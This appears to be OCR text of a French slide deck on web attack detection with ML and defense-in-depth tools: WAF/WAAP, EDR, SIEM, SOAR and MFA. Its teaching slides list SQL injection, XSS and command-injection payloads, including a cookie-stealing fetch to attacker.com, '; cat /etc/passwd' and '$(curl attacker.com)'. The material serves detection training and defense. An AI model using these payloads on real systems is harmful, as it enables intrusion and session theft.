' OR '1'="1 e
UNION SELECT

admin'--

SLEEP(5S)

information_schema

benchmark(

1=1

®
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SQL Injection et ML

Ce qu'il faut dire :

En ML, on ne doit pas seulement chercher le mot "SELECT". Il faut apprendre des
combinaisons de caractéres, des séquences suspectes, des encodages, des séparateurs,
des commentaires SQL, des variations obfusquées, et aussi tenir compte du contexte
de l'endpoint. Un endpoint de recherche accepte naturellement certains caractéres,
alors qu'un endpoint login est beaucoup plus sensible.

Point important : contexte métier + endpoint. Q
¥
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XSS: ATTAQUE PAR SCRIPT INTER-SITE
(CROSS-SITE SCRIPTING)

Etape 1 : L'Attaquant Etape 2 : La Victime clique, :> Etape 3 : Le Navigateur
envoie un lien piégé. le serveur refléte le script. exécute le script malveillant.

SERVEUR WEB VULNERABLE NAVIGATEUR DE LA VICTIME

https://site-vulnérable.com/recherche?
g=<script>alert('XSS'")</script>

N Al
O ’ .
< M o https://site-vulnérable.com/recherche?
5 g=<script>alert('XSS')</script>

ALERTE XSS :
VOTRE SESSION EST
COMPROMISE

/ <p>Résultat pour : k
<script>alert("XSS’)</script></p>
</p>
- / e Y
L'attaguant envoie le lien La victime clique sur le lien. Le navigateur de la victime
malveillant (par e-mail, tchat, Le serveur inclut le script malveillant exécute le script, pensant qu'il

etc.) a la victime. dans la page de réponse. provient du site de confiance.




Comment fonctionne
une attaque XSS ?

Utilisateur Iégitime Serveur web stocke la
envoie une donnee donnée sans la néttoyer
contenant du code malveillant correctement

Code malveillant

Victime consulte s'étécute dans le

la page navigateur (vol de
cookies, redirection, etc.)

@
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Le XSS, pour Cross-Site Scripting, est une vulnérabilité web qui permet a un attaquant
d'injecter du code JavaScript malveillant dans une page consultée par d'autres

utilisateurs.

I_ e XSS’ L'idée centrale est simple :

un site web affiche quelque chose venant de I'utilisateur sans le nettoyer correctement.

L'attaquant en profite pour injecter du JavaScript, et ce script est ensuite exécuté dans le
p O | I r navigateur de la victime.

Exemple simple

°
< rOSS—S I te Imaginons un champ de commentaire sur un site :

@ HTML o DO

Scripting

Mormalement, le site affiche ce commentaire dans la page.
Mais un attaquant pourrait écrire :

@ HTML DO

<scriptralert (XS5 )< /scripts

Si le site affiche ce contenu tel quel, le navigateur interpréete la balise <script> et Q
=

exécute le JavaScript.
IDEO-LAB



Pourgquol

c’'est
dangereux ?

Le JavaScript injecté s'exécute dans le contexte du site légitime.

Cela signifie que pour le navigateur de la victime, le script semble venir du vrai site. Il peut
donc accéder a certaines informations accessibles a JavaScript sur ce domaine, interagir
avec le DOM, lire des champs affichés, envoyer des requétes au nom de l'utilisateur, ou

manipuler I'interface.

Exemple d'impact possible :

“r  Javascript o)

fetch{"https://attacker.com/steal?cookie=" + document.cookie)
Cela illustre une tentative de vol de cookie, méme si aujourd’hui les protections comme

{;?

IDEO-LAB

HttpOnly , SameSite et les CSP peuvent réduire ce risque.



Une XSS consiste a injecter du code script c6té client, généralement JavaScript, dans
une page consultée par un utilisateur.

OWASP rappelle que les X55 sont une forme d'injection ol des scripts malveillants sont
injectes dans des sites normalement fiables, notamment quand une application réutilise

une entrée utilisateur sans validation ou encodage correct. & owssoan

Définition

simple : Exemples :

<scriptralert(l)</script> iﬂ
<img src=x onerror=alert(l)>

javascript:alert{document.cookie)

<syg/fonload=alert(1l)>

#®3ICscript®3E

®
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Xss — Modele de protection

Pour la X55, le modele doit &tre robuste aux encodages, aux variantes HTML, aux
handlers JavaScript comme onerror/onload, aux balises detournées et aux payloads
obfusqués. Une bonne pipeline doit donc décoder progressivement, garder une trace
de la version brute et de la version normalisée, puis classifier en fonction des motifs
textuels et du contexte.

®
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Les trois grands types de XSS

1. XSS reflechi, ou Reflected XSS
e2. XSS stocke, ou Stored XSS

3. DOM-based XSS

IDEO-LAB



1. XSS
refléchi, ou

Reflected
XSS

Le script est injecté dans une requéte HTTR souvent via un parametre d'URL, puis

immediatement renvoyé dans la réponse HTML.

Exemple :

https://site.com/search?g=<scriptralert{l)«</scripts: [5]

Si la page de recherche affiche directement la valeur de g sans I'échapper, le script peut

s'exécuter.

C'est souvent exploité via un lien piégé envoyé par email, chat ou phishing.

@
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Le script malveillant est enregistré cotée serveur, par exemple dans une base de données.
Exemples :

» commentaire de blog ;

2 XSS » profil utilisateur ;

» message de forum;

stocke, ou
Stored XSS » ticket support;

» avis client:

o ar

» champ “nom”, "description”, “big”, etc.

C'est genéralement plus grave qu'un XSS réfléchi, car chague utilisateur qui consulte la

page infectée peut exécuter le script.

@
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Ici, la vulnérabilité est principalement coté navigateur. Le JavaScript |€gitime de la page lit
une donnée controlée par |'utilisateur, par exemple dans I'URL, puis l'insére

dangereusement dans le DOM.

Exemple dangereux :

“r  JavaScript 8

document.getElementById("result").innerHTML = location.hash;

Si 'URL contient :

3. DOM-

https://site.com/#<img src=x onerror=alert(1l}>» Eﬂ
based XSS
Alors le contenu peut étre interprété comme du HTML actif.
Le probléme vient souvent de fonctions comme :

r  JavaScript [5]

innerHTML
document.write

eval

setTimeout (" code™) )
new Function() ¥

IDEO-LAB




DOM XSS : La vulnérabilité est coté navigateur.

~

€ © C [anttpsirsiecom/d

.S

CLIENT-SIDE <div id:"res?lt”>/div> [;j
BROWSER < \ SOURCE INSECURISEE
W

document.getElementById("result").innerHTML = location.hash;

I

J — SINK DANGEREUX

Si I'URL contient : TPropagation via le DOM

[https://site.com/#dmg src=x onerror=alert(1)> J
UTILISATEUR #<img src=x onerror=alert(1)>
€ C| ' =| Le contenu est interprétée

comme du HTML actif,
déclenchant l'exécution du

script.
D~ XSS Alert!
[ =T Sinks a surveiller:

innerHTML L
document.write v
eval

setTimeout("code") IDEO-LAB




COMMENT FONCTIONNE UNE ATTAQUE XSS REFLECHIE (EXEMPLE)

https://site.com/search?q=<script>alert(1)</script>
N

2. La victime clique sur le lien.
T Le serveur renvoie le script non échappé

: PR e L) dans la réponse.
site.com / ISRl
</htmi>q.

Réponse HTML Réfiéchie
<script>alert(1)</script>

site.com

1. Lattaquant crée
une URL malveillante
contenant un script.

Requéte
malveillante
N

1. Lattaquant crée une URL
malveillante contenant un script.

N
7

Réponse
malveillante

/) PRINCIPE CLE : XSS REFLECHIE 3. Le navigateur de la victime exécute

- Le script est injecté via un paramétre d'URL. le script.
- Le serveur est vulnérable s'il n'échappe pas l'entrée de 'utilisateur avant de

- %V&ft’ exploité via du phishing (hamegonnage) pour cibler les utilisateurs.

®
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COMMENT LUTTER CONTRE LES ATTAQUES COTE SERVEUR & XSS

1. VALIDER ET ASSAINIR LES 2. ECHAPPER LES SORTIES 3. UTILISER UNE CSP FORTE 4. EMPLOYER DES 5. RENFORCER LA SECURITE
(VALIDATION & SANITIZATION) (OUTPUT ENCODING) (CONTENT SECURITY POLICY) COOKIES SECURISES DU SERVEUR

<P

Maintenir le serveur et les
dépendances a jour.

Utiliser des bibliotheques de Echapper le contenu
validation rigoureuses pour utilisateur avant de l'afficher
toutes les entrées utilisateur. dans le HTML. SERVEUR SECURISE

Filtrer et nettoyer les données Convertir les caracteres spé- - WAFEUR SECURISE - WAF

avant de les traiter. ciaux en entités HTML (ex :
<" devient &It;"). l::)
if (isset($_POST['input"])) {

<script>alert(1)</script> Définir une CSP rigoureuse Marquer les cookies sensibles

Configurer un Pare-feu
d'Application Web (WAF).

Utiliser des bibliotheques

become &dt;; via les en-tétes HTTP. avec les attributs de sécurité reconnues.
bt I : "HtpOnly et "Secure".
: 3 Vo Limiter les sources de scripts,
&scnpt&gt,atléertt(']) it styles et images autorisées. Empécher I'acces aux cookies
PAagL; via JavaScript (XSS).

 (isset(S_POST[input’)) { <scriptalert(1)</script> Content-Security-Policy:
‘ &1t;script&gt;alert(1)RIt/script&gt; default-src 'selr’ ‘ 2R o
script-src 'sell’ trusted-scripts.com; @



Les Outils pour intercepter le Xss

Un outil qui tourne en tache de fond sur le serveur voit du trafic HTTP (requéte +
réponse). Ca change radicalement ce qu'il peut faire selon le mode:

Reflected — pleinement interceptable. Le payload arrive dans la requéte (query, form,
header) et se retrouve dans la réeponse. Un point d'observation qui voit requéte ET
réponse peut non seulement matcher la signature, mais corréler : est-ce que l'input
suspect réapparait vraiment dans le body, et dans quel contexte (HTML, attribut, JS,
URI) ? C'est laque sejoue ladifférence entre un jouet a regex et un vrai moteur.

Stored — interceptable au point d'injection (write-time), exactement comme le reflected
coterequéte. Le « stocké » ajoute une dimension : garder une trace persistante des
inputs suspects accepteés (2xx) et les recorreéler avec les réponses servies plus tard. C'est
ce quirend l'outil évolutif plutdot que stateless.

®
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L'architecture envisagée (haut niveau)

Cing couches, découplées:

1.

I

Ln

Couche d'interception — le point d'observation. C'est le premier arbitrage (voir
plus bas) : reverse-proxy inline, mirroring passif, ou tail de logs.

Moteur de détection multi-étages — décodage/normalisation (URL, entités
HTML, unicode, casse, null-bytes) - signatures + heuristiques - corrélation de
reflet > analyse de contexte (tokenisation HTML/JS pour voir sil'input casse dans
un contexte exécutable). C'est le coeur, et ce qui fait la puissance vs. les FP.

Store de corrélation stored-XSS — persistance des inputs suspects, matching
différe sur les réponses sortantes.

Signal DOM coété client — endpoint CSP-report + beacon optionnel.

Couche d'action + persistance — log/alerte/block/ban (réutilisable depuis tes
patterns DDoS d'ideowaf), SQLite, événements, éventuellement panel.

®
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Bonnes pratiques modernes

Pour limiter les XS5, on utilise généralement :

» echappement automatique des templates, par exemple Django, Jinja2, React ;
» validation stricte des entrées ;

» nettoyage HTML avec une librairie fiable si I'on autorise du HTML utilisateur ;
» interdiction de innerHTML gquand ce n'est pas nécessaire ;

e utilisation de textContent au lieu de innerHTML :

» cookies avec HttpOnly, Secure, SameSite ;

» politique CSP ou Content Security Policy ;

» éviter les scripts inline ;

» revue des dépendances frontend ;

» tests SAST/DAST;

» fuzzing de paramétres et de formulaires.

®
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Xss et

Exemple
Django

En Django, ceci est généralement sdr :

@ HTML

<p>{{ comment }}</p>

Car Django échappe automatiquement le contenu.

51 comment vaut:

@ HTML

<scriptralert(l)</script>
Django affichera le texte, mais ne l'exécutera pas.

En revanche, ceci est dangereux :

@ HTML

<p>{{ comment|safe }}</p>

Le filtre safe dit a Django :

Fais confiance a ce contenu, ne l!échappe pas.

)

'

)

@
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React échappe par defaut :

2 JavaScript 0

Cdive{userInput}</divzs

C'est géneralement sdr.

XSS -

Exem p|e Mais ceci est dangereux :
React

3 JavaScript 0

{div dangerouslySetInnerHTML={{ __html: userInput }} />

Comme son nom l'indique, dangerouslySetInnerHTHML doit &tre utilisé uniquement avec

{;?

IDEO-LAB

du contenu fortement nettoye.




Une faille XS5 apparait lorsqu'une application réinjecte dans une page web une
donnée contrélée par I'utilisateur sans encodage ou sanitization adaptee. Le
navigateur interprete alors cette donnée comme du code actif, souvent JavaScript. La
protection repose principalement sur I'échappement contextuel, la validation des
entrées, I'usage prudent du DOM, les cockies sécurises et une Content Security Policy
restrictive.

Le X55, c'est :

L'utilisateur envoie du texte. Eﬂ
Le site le réaffiche sans le sécuriser.
Le navigateur l'exécute comme du Javascript.

L*attaquant agit dans le contexte du site.

C'est une des vulnérabilités web les plus classiques, mais aussi ['une des plus dangereuses,

parce qu'elle cible directement le navigateur et la session de l'utilisateur.




-

Command |njection

N

~

/

®
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Comprendre l'Injection de Commande

La Demande Légitime

1. Entrée Utilisateur Normale

000 )

Nom de Fichier : [rapporn pdf

Yt

Requéte HTTP
Malveillante

Scmd = "convert_pdf.py " . $_GET|'filename']; ‘ Semd = "convert_pdf.py rapport.pdf ; cat /etc/passwd";
exec(Semd); // <— VULNERABILITE

exec(Scmd);

Fichier PDF
i Créé

LAttaque en Cours

Nom de Fichier :
rapport.pdf ;
cat /etc/passwd

\ {

il 2 Injection de Commande Malveillante

La Conséquence

3. Exécution de Commande Systéme

000

>

”~

Commande Exécut%: cat /etc/passwd

[ A\ Accés non autorisé au systéme

« Séparateurs de shell (*;", ',
 Backticks (" " )

e Commandes Linux/Windows ("cat™, 'whoami", "dir’, ‘powershell’)

e Tentative d'exécution distante

Définition Simple (basée sur < ->

L'injection de commande vise a injecter des commandes systéme dans une entrée qui finit par étre transmise a un
shell ou a un processus serveur. Les signaux incluent :

&&7, M)

ML Models must learn character patterns, not just keywords.

®
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Command Injection - Définition simple

Une Command Injection vise a injecter des commandes systéeme dans une entrée qui

finit par étre transmise a un shell ou a un processus serveur.
Exemples :

; cat fetc/passwd iﬂ
| whoami

&% id

“uname -a’

%(curl attacker.com)

powershell -enc

cmd.exe Jc

Les signaux sont souvent différents de la SQLi : seéparateurs shell, pipes, backticks,
variables d'environnement, commandes Linux ou Windows, encodage baseb4,
tentative d'execution distante. La encore, un modele ML utile doit apprendre des

patterns de caractéres et de séquences, pas uniguement des mots-clés.
0
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Traffic legitime

®
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La classe "trafic légitime” est aussi importante que les classes d'attaque. En production,
le probleme principal d'un WAF/WAAP n'est pas seulement de détecter I'attaque, c'est
de ne pas bloquer les vrais utilisateurs. Il faut donc entrainer le modele avec du trafic
normal diversifié : formulaires, recherche, API, JSON, GraphQL, uploads, caractéres
speciaux légitimes, langues différentes, contenus techniques, etc.

Trafic
legitime
Explications

En cybersécurité, un modéle qui detecte beaucoup d'attaques mais bloque trop de

trafic Iégitime devient inutilisable opérationnellement.

@
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LE TRAFIC LEGITIME : COMPRENDRE, DIVERSIFIER ET PROTEGER

PASSERELLE WAF/WAAP
INTELLIGENTE

<

i)

=y

=
Tu peux dire : =0
La classe ‘trafic Iégitime’ est aussi importan- )

te que les classes d'attaque. En production,
le probléme principal d'un WAF/WAAP n'est
pas seulement de détecter l'attaque, C'est

TG

== Formulaires
{(Nom, Email, Adresse)

API
=g </ 2 (REST. Graphal)

DIVERSIFICATION DU TRAFIC NORMAL POUR L'ENTRAINEMENT

Recherche
(Requétes en langage naturel)

{ }Données structurées
{JSON)

-] Uploads
A

hiers, images)

Caracteres spéciaux
(‘I @' &a " é)

Langues différentes
(Frangais, Japonais, Arabe)

Contenus techniques
(Code, logs)

de ne pas bloquer les vrais utilisateurs. ||
faut donc entrainer le modéle avec du trafic

normal diversifié : formulaires, recherche,
API, JSON, GraphQL, uploads, caracteres
spéciaux légitimes, langues différentes,
contenus techniques, etc.

LA PHRASE FORTE

En cybersécurité, un modele qui détecte beaucoup d'attaques mais
blogue trop de trafic légitime devient inutilisable opérationnellement.

A Phrase forte :

J




4. Pipeline technique a expliquer

Q
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Analyse et Action sur Requéte HTTP

Pipeline en

Diagramme

 Modele ML
(Classification)




"—:— Requéte HTTP Brute

=w ‘
Données d'Entrée | Extraction : URL, méthode, headers, body, cookies, endpoint, IP, status ]
Prétraitement ( Normalisation : URL decode, HTML decode, lower-case controlé, suppression bruit ]

¥

s 5 . R
Feature engineering texte :

- n-grammes caracteres

2 t-éramme,s mots

‘nierie dec - tokens speciaux
Ing.cme'rl_c deb - longueur payload
Caracteristiques - taux de caractéres spéciaux
- entropie

- presence d'encodage

- mots-clés SQL / JS / shell

v

[ Modeéle : i
> - baseline : Logistic Regression / SVM / Random Forest / XGBoost

Modele ML - avancé : modele trangformer ou embeddings

| - hybride : regles WAF + ML

Sortie : :
classe + score + explication + action

¥

. Action :
Action [ allow / alert / challenge / block / enrich SOC ]

Analyse et Décision [




En résume

Je prefere souvent commencer par un modele simple mais robuste, par exemple
TF-IDF sur n-grammes caractéres avec Logistic Regression ou SVM, parce que c'est
rapide, explicable et trés performant sur des payloads courts. Ensuite, on peut

comparer avec des modeéles plus avanceés type embeddings ou transformer si le
volume, la latence et les contraintes de production le justifient.

®
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5.Panorama des techniques et logiciels clés

&
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Techniques de défense en profondeur

*1. Protection des terminaux (Endpoints)
2. Sécurité réseau et péerimétrique

*3. Gestion des identités et des acces (IAM)
*4. Supervision, analyse et gouvernance

®
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« EPP (Endpoint Protection Platform) : Evolution de I'antivirus traditionnel, il combine
antivirus, pare-feu hte et contréle des périphériques pour bloguer les menaces
connues. SentinelOne

+ EDR (Endpoint Detection and Response) : Outil crucial qui surveille les
comportements suspects sur les machines, isole les terminaux compromis et permet
aux equipes sécurité d'analyser l'incident en temps réel. lllumic

+ XDR (Extended Detection and Response) : Solution unifiée qui va plus loin que I'EDR
en corrélant les données de sécurité provenant de diverses sources (terminaux, réseau,
cloud) pour une visibilite totale. Everping

1. Protection
des

_ EVOLUTION DES SOLUTIONS DE SECURITE: EPP -> EDR -> XDR
terminaux

E d q t STADE 1: EPP STADE 2: EDR STADE 3: XDR
n p O I n S (Endpoint Protection Platform) (Endpoint Detection and Response) (Extended Detection and Response)

[e=]
g ~EEa
TERMINAJ - RESEAU

- -» &
i —
3 une
[ RESEAU ~ APPLICATION
. 1
= = ' SCD
Antivirus ~ Pare-feu  Contrdle des Tl-::;hé{NéAL APPLICATION CLOUD
Périphériques
Protection de base: Détection & Réponse: Visibilité Totale:
Bloque les menaces connues. Surveille les comportements Corrélation unifiée des données de | »
suspects, isole les machines, sécurité de toutes sources. V
analyse les incidents.

UNE DEFENSE EN PROFONDEUR W sentineiore  illumio Everping IDEO-LAB




+ Pare-feu (Firewall) : Barriére de base entre votre réseau interne et l'extérieur, il filtre le
trafic entrant et sortant selon des régles prédéfinies. Konica Minolta

« IDS/IPS (Systémes de détection/prévention d'intrusion) : Ces outils analysent le
trafic réseau en continu pour identifier et bloquer automatiquement les activités
2. Sécurite anormales ou les signatures d'attaques connues. Konica Minolta

réseau et

perim etri que données, permettant aux collaborateurs d'accéder aux ressources de I'entreprise via
des réseaux non securisés. EBDM

+ VPN (Virtual Private Network) : Essentiel pour le télétravail, il chiffre les échanges de

+ Microsegmentation : Technique consistant a diviser le réseau en petits segments
isolés pour empécher un attaquant de se déplacer latéralement d'un appareil a l'autre
en cas de compromission. lllumio

@
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SECURITE RESEAU ET PERIMETRIQUE

RESEAU EXTERNE / INTERNET
Essentiel pour le télétravail, chiffre ﬂ ——
les échanges de données. VPN (VIRTUAL
A PRIVATE NETWOR

IDS/IPS (SYSTEMES DE
DETECTION/PREVENTION
D'INTRUSION) Konica Minolta

: Analyse en continu, identifie et
- bloque les activiales.
‘. PARE-FEU (FIREWALL)

Filtre le trafic entrant et sortant
selon des regles prédéfinies.

RESEAU INTERNE

RESEAU INTERNE

S "‘BDM  Illumio

HONICA MINOLTA



PARE-FEU (FIREWALL): BARRIERE DE BASE

Filtrage du trafic entrant et sortant selon des regles prédéfinies

RESEAU INTERNE EXTERIEUR / INTERNET

REGLES PREDEFINIES

- Bloguer les ports 445 (SMB) entrants
- Autoriser le trafic web sortant (port 80, 443)
- Bloguer les adresses IP malveillantes connues

"o CIE':-'%SE?‘! Source: Notions Fondamentales de Cybersécurité



IDS/IPS: SYSTEMES DE DETECTION ET DE PREVENTION D’INTRUSION

Analyse en continu, identification et blocage automatique des menaces

| MOTEUR D'ANALYSE | ,
TRAFIC RESEAU IDS/IPS ULEHTRS ERTEIRS £ TRAFIC LEGITIME
ENTRANT AUTORISE
0. o f_ g |
D @ \
@ & LL:, g 9 _ g@l O )
T BLOCAGE &l
- od AUTOMATIQUE L By’ _J

MENACES BLOQUEES
" (ACTIVITES ANORMALES, SIGNATURES DATTAQUE)

- Signature d'attaque connue
(e.g., SQL Injection)

- Comportement anormal
(e.g., Port Scan)

- Flux de données malveillant

@ ,C;QYS?E S%E o Source: Notions Fondamentales de Cybersécurité



VPN (VIRTUAL PRIVATE NETWORK): SECURITE POUR LE TELETRAVAIL

Chiffrement des échanges de données via des réseaux non Seécurisés

ACCES SECURISE AU
RESEAU D'ENTREPRISE

¥

'@ i TUNNELVPN [ g @& 2! @
~ I SECURISE VPL chiffré chnffre chiffré
& L™
TUNNEL VPN &W
SECURISE ET

COLLABORATEUR CHIFFRE RESEAU NON SECURISE RESSOURCES DE
EN TELETRAVAIL (EX: WI-FI PUBLIC) 'ENTREPRISE

o~
@ A e Source: Notions Fondamentales de Cybersécurité

INSIGHTS



MICROSEGMENTATION: ISOLATION RESEAU ET PREVENTION DU MOUVEMENT LATERAL

** RESEAU PLAT (CLASSIQUE) ** RESEAU MICROSEGMENTE

POLITIQUES DE SECURITE
GRANULAIRES

RESEAU D'ENTREPRISE

i &F
o

[

ATTAQUANT SE DEPLACE LIBREMENT ATTAQUANT CONFINE,
MOUVEMENT LATERAL BLOQUE

Source: illumio |||umi0



+ MFA (Authentification Multi-Facteurs) : Ajoute une couche de sécurité indispensable
(code SMS, application mobile) en plus du mot de passe pour prévenir les acces non
autorisés. Konica Minolta

» Gestionnaires de mots de passe : Permettent aux collaborateurs de générer et
stocker des identifiants complexes, reduisant drastiquement le risque lié aux mots de
passe faibles. POWERiti

MFA (AUTHENTIFICATION MULTI-FACTEURS): SECURITE RENFORCEE

3. Gestion . al . j .
, I Ajoute une couche indispensable en plus du mot de passe pour prévenir les acces non autorisés
des identites
et des acces ETAPE 1: CONNAISSANCE (MOT DE PASSE) ETAPE 2: POSSESSION (DEUXIEME FACTEUR)
(IAM) " N
DEUXIEME | o
FACTEUR AosRE

MOBSLE
REQ

Cenfirmarice

-

& ==
AL/=

RESSOURCES DE

MOT DE PASSE APPLICATION  CODE SMS LENTREPRISE
REQUIS MOBILE
(TOTP)

(O Fenie Source: Notions Fondamentales de Cybersécurité



GESTIONNAIRES DE MOTS DE PASSE

Génération, stockage et sécurisation des identifiants pour réduire les risques

ETAPE1: LA PROBLEMATIQUE

ey

un mot de passe
complexe
—p  (AI7b9KSx2 )
f—>
une clé de
chiffrement
COFFRE-FORT SECURISE

Centralise, chiffre et stocke
tous les identifiants avec un
mot de passe maitre unique

Risque eleve de mots de passe
faibles et réutilises

CYBERSECU
GRS

ETAPE 2: LA SOLUTION - LE COFFRE-FORT  ETAPE 3: LE RESULTAT - SECURITE RENFORCEE

SAISIE
<2 AUTOMATIOUE

LK$9b#r4F(aﬂ GENERATEUR
Y . @ ALEATOIRE

> >< RISQUE REDUIT

Acces simplifi, protection contre
les cybermenaces, conformité

Y
-

Source: Notions Fondamentales de Cybersécurité



» SIEM (Security Information and Event Management) : Centralise et analyse les logs
(journaux d'événements) de tous vos outils de sécurité pour détecter des corrélations
suspectes gqu'un outil seul ne verrait pas. Akamai

A » SOAR (Security Orchestration, Automation and Response) : S'intégre au SIEM pour
T automatiser les reponses aux incidents récurrents, permettant une intervention ultra-
Su PErvision, rapide sans intervention humaine manuelle. Akamai

analyse et
gouvernance

+ Gestion des vulnérabilités : Utilisation de scanners (comme Nessus ou OpenVAS) pour
auditer vos systémes et corriger les failles avant gu'elles ne soient exploitées. Everping

» Outils GRC (Gouvernance, Risques et Conformité) : Logiciels (ex: RSA Archer) qui
aident a structurer la gouvernance et a suivre la conformité aux réglementations
(RGPD, ISO 27001, DORA). Everping




SIEM (SECURITY INFORMATION AND EVENT MANAGEMENT):
CENTRALISATION ET ANALYSE DE SECURITE

Détection de corrélations suspectes a partir de multiples sources de logs

PARE-FEU
(FIREWALL)
IDS/IPS EDR @

CONFORMITE
7 & RAPPORTS

ldl\ ANALYSE &
PASSERELLE

WEB REPONSE HUMAINE

\wn CORRELATION SUSPECTE :

MOTEUR D’ANALYSE Evénement mineur 1 (Pare-feu)
SIEM + Evénement mineur 2 (Web)
= ALERTE CRITIQUE.
E— AUTRES LOGS
D'APPLICATION

7 CYBERSECU

INSIGHTS Source : Notions Fondamentales de Cybersécurité



SOAR (SECURITY ORCHESTRATION, AUTOMATION AND
RESPONSE): REPONSE AUX INCIDENTS ULTRA-RAPIDE

Intégration avec le SIEM pour automatiser les réponses aux incidents récurrents

PARE-FEU )
(FIREWALL) REPONSE AUTOMATISEE
> (PLAYBOOK EXECUTE)
, PARE-FEU &%o (.,éJ :
% IDS/IPS ALERTE CRITIQUE £, ISOLATION DU TERMINAL

COMPROMIS

BLOCAGE DE L'IP
MALVEILLANTE SUR LE PARE-FE

! (CORRELATION)
s 200

ELD pASSERELLE (152
S0 WEB N

SIEM
(CENTRE D'ANALYSE)

ENVOI D'UNE NOTIFICATION
A L'EQUIPE SOC

SUPPRESSION DU FICHIER RAPPORT
SUSPECT D'INCIDENT

% AUTRES LOGS ’ COMPLET (AUDIT)

= D'APPLICATION PLATEFORME INTERVENTION

i SCNES REPONSE AUTOMATISEE el
(PLAYBOOK EXECUTE) NS

CYBERSECU i A
INSICHTS Source : Notions Fondamentales de Cybersécurité



GESTION DES VULNERABILITES

Audit des systemes et correction des failles pour prévenir les exploitations

ETAPE 1:

DECOUVERTE ET AUDIT

VULNERABILITE
POTENTIELLE

' CYBERSECU
INSIGHTS

ETAPE 2:
ANALYSE ET EVALUATION

PRESEAU =
—— DONNEES
%q 6 cve
== D'ANALYSE DU é.‘éqﬂg
VULNERABILITE (cvss)
SO A
s SICNATURES
IDDI DE FAILLE
IDENTIFICATION
DES ACTIFS

Classe les failles par sévérité,
identifie les risques critiques

ETAPE 3:
CORRECTION ET REMEDIATION

=% MISE A JOUR
‘;E@ DE SECURITE

RISQUE_
ELIMINE

Corrige les failles avant qu'elles
ne soient exploitées

Source : Notions Fondamentales de Cybersécurité



Outils GRC (Gouvernance, Risques et Conformité)

Gouvernance Gestion des Risques Conformité
Outils GRC qui structurent |a |dentification, évaluation et Suivi et assurance de la
gouvernance, définissent les mitigation des risques conformité aux réglementations
politiques et les responsabilités (RGPD, ISO 27001, DORA)
“ Jf Ganarvena . 4’ l
_Gouvernance Conformité
0 RGPD
) 150 27001

Structuration GRC Pistes d’audit



o.

ANNEXES TECHNIQUES
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LE WAAP EXPLIQUE

1. Protection des Applications et API (Le virage WAAP)

e 2. Outils de Protection et Détection (Le socle technique)
* 3. Gestion des lIdentités et Sécurité des données

*4. Approche Organisationne
5. Les quatre piliers du WAA

le
D

*6. Une journée dans la vie d'un WAAP

e 7. Comment expliquer le WAAP a vos clients ?

®
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DIAGRAMME EXPLICATIF : WAAP (Web Application and API Protection)

ENTREES
UTILISATEURS /
ATTAQUANTS

[
—

_» PUBLIC

B —

API Client

[ ~2=]
i

INFRASTRUCTURE PROTEGEE

(CLOUD / ON-PREMISE)

INTERNET _p

el X 4 N N s D
CONSOLE DE GESTION & @ @ w
Supervision, Analyse,
Configuration des Polltiques ——] WAE
% (Web Application Freway | | PTOtection Anti-DDoS Protection API
SERVEURS Kegles de Securité de | |Atténuation des Attaques par Validation de Schéma,
SERVEURSWEB/  WEB/ I Base & Filtrage Déni de Service Distribué Rate Limiting, Découverte
MICROSERVICES MICROSERVICES . N /
PASSERELLE > @ . > Mo ¥
WAAP / WAF
AVANCE < APIREST/ Bot Management
GRAPHQL Détection & Atlénuation des
A Trafics de Bots Malveillants
. ' W @ oy
BASE DE :
scpe > o2
Gestion des Menaces Sécurité des Données /
Avancées (Threat Intelligence) Conformité

TRAFIC LEGITIME

iy <

CONSOLE DE GESTION & RAPPORTS
Supervigion, Analyse,
Configuration des Politiques

.

Mises a Jour de
Renseignements en Temps Réel

>

Masquage de Données,
Tokenisation, Conformité
(ex : PCI-DSS)




1. Protection
des

Applications
et API (Le
virage WAAP)

Alors que le WAF (Web Application Firewall) est le gardien traditionnel qui
inspecte le trafic HTTP pour bloquer des attaques classiques (injections SQL,
XSS), le WAAP (Web Application and API Protection) représente aujourd'hui
une eévolution holistique indispensable. OGO Security

» Difféerencesclés: OGO security

= WAF : Se concentre principalement sur les menaces web connues via
des signatures. OGO Security

= WAAP : Intégre une protection unifiee comprenant le WAF, la
sécurisation des AP, la gestion avancée des bots (via |A et analyse
comportementale) et une protection anti-DDoS robuste. OGO Security

» Pourquoi est-ce populaire : Le WAAP est "cloud-native" et s'adapte a la
complexité des microservices et des APl que le WAF traditionnel ne
comprend pas toujours. OGO Security

@
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L’évolution holistique indispensable : du WAF au WAAP

WAF
(Web Application Firewall)

- Inspection du trafic HTTP

- Blocage des attaques classiques
(Injections SQL, XSS)
- Basé sur des signatures

known signature match

Bocage des attsgues datrigues (bjections $01, XS5)
o Dt

- Best cor e - |

Cloud-native et adaptable
ala complexité des
microservices et des API

WAAP

(Web Application and API Protection)

) , =
AP Sécurité des AP I’

- Gestion avancée
£.50 des bots
P
S (1A et analyse

G

comportementale) 200

- Protection
’@*—J anti-DDoS
robuste

Intégre le WAF
+

Protection unifiée

| (ele

Environnement
moderne
(Cloud-native,
Microservices, API)




2. Outils de
Protection et

Détection
(Le socle
technique)

Pour renforcer la sécurité au quotidien, les organisations s'appuient sur ces outils
essentiels :

« EDR (Endpoint Detection and Response) : Outil crucial pour les postes de
travail. Il détecte les comportements anormauy, isole les terminaux
compromis et permet une analyse post-incident. Fortinet

o Exemples populaires : CrowdStrike Falcon, Microsoft Defender for
Endpoint, SentinelOne. Everping

« NGFW (Pare-feu nouvelle génération) : Bien plus qu'un simple filtre, il
inspecte les paquets avec du machine learning pour stopper méme les
attaques "zero-day" et peut gérer les connexions VPN. Fartinet

» Protection DNS : Une couche de défense supplémentaire qui empéche les
employés d'acceder a des domaines malveillants ou des sites de phishing.

@
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Les piliers de la sécurité au quotidien pour les organisations

| EDR

(Endpoint Detection and Response)

Postes de travail

3
Q ©

« Détection des comportements
anormaux

*» |solement des terminaux
compromis

| » Analyse post-incident

\

Exemples populaires :
CrowdStrike Falcon, Microsoft
Defender for Endpoint,
SentinelOne

iz, Everping

~

|

Y

(Pare-feu nouvelle génération)

\
NGFW

Réseau

* Inspection de paquets avec
machine learning

* Blocage d'attaques "zero-day"

» Gestion des connexions VPN

FEIRTINET

\
Protection DNS

Sécurité de navigation

Phishing
Site

» Couche de défense
supplémentaire

« Empéche l'acces aux
domaines malveillants

» Blogue les sites de phishing

FUIRATINET

A



3. Gestion
des Identités

et Sécurité
des données

La compromission des identités est I'un des vecteurs d'attaque les plus
fréquents. Cybermalveillance.gouv

* MFA (Authentification Multifacteur) : C'est la mesure la plus efficace pour
empécher l'usurpation de compte, méme en cas de vol de mot de passe.

Cybermalveillance.gouv

+ Gestionnaires de mots de passe : Outils professionnels pour centraliser et
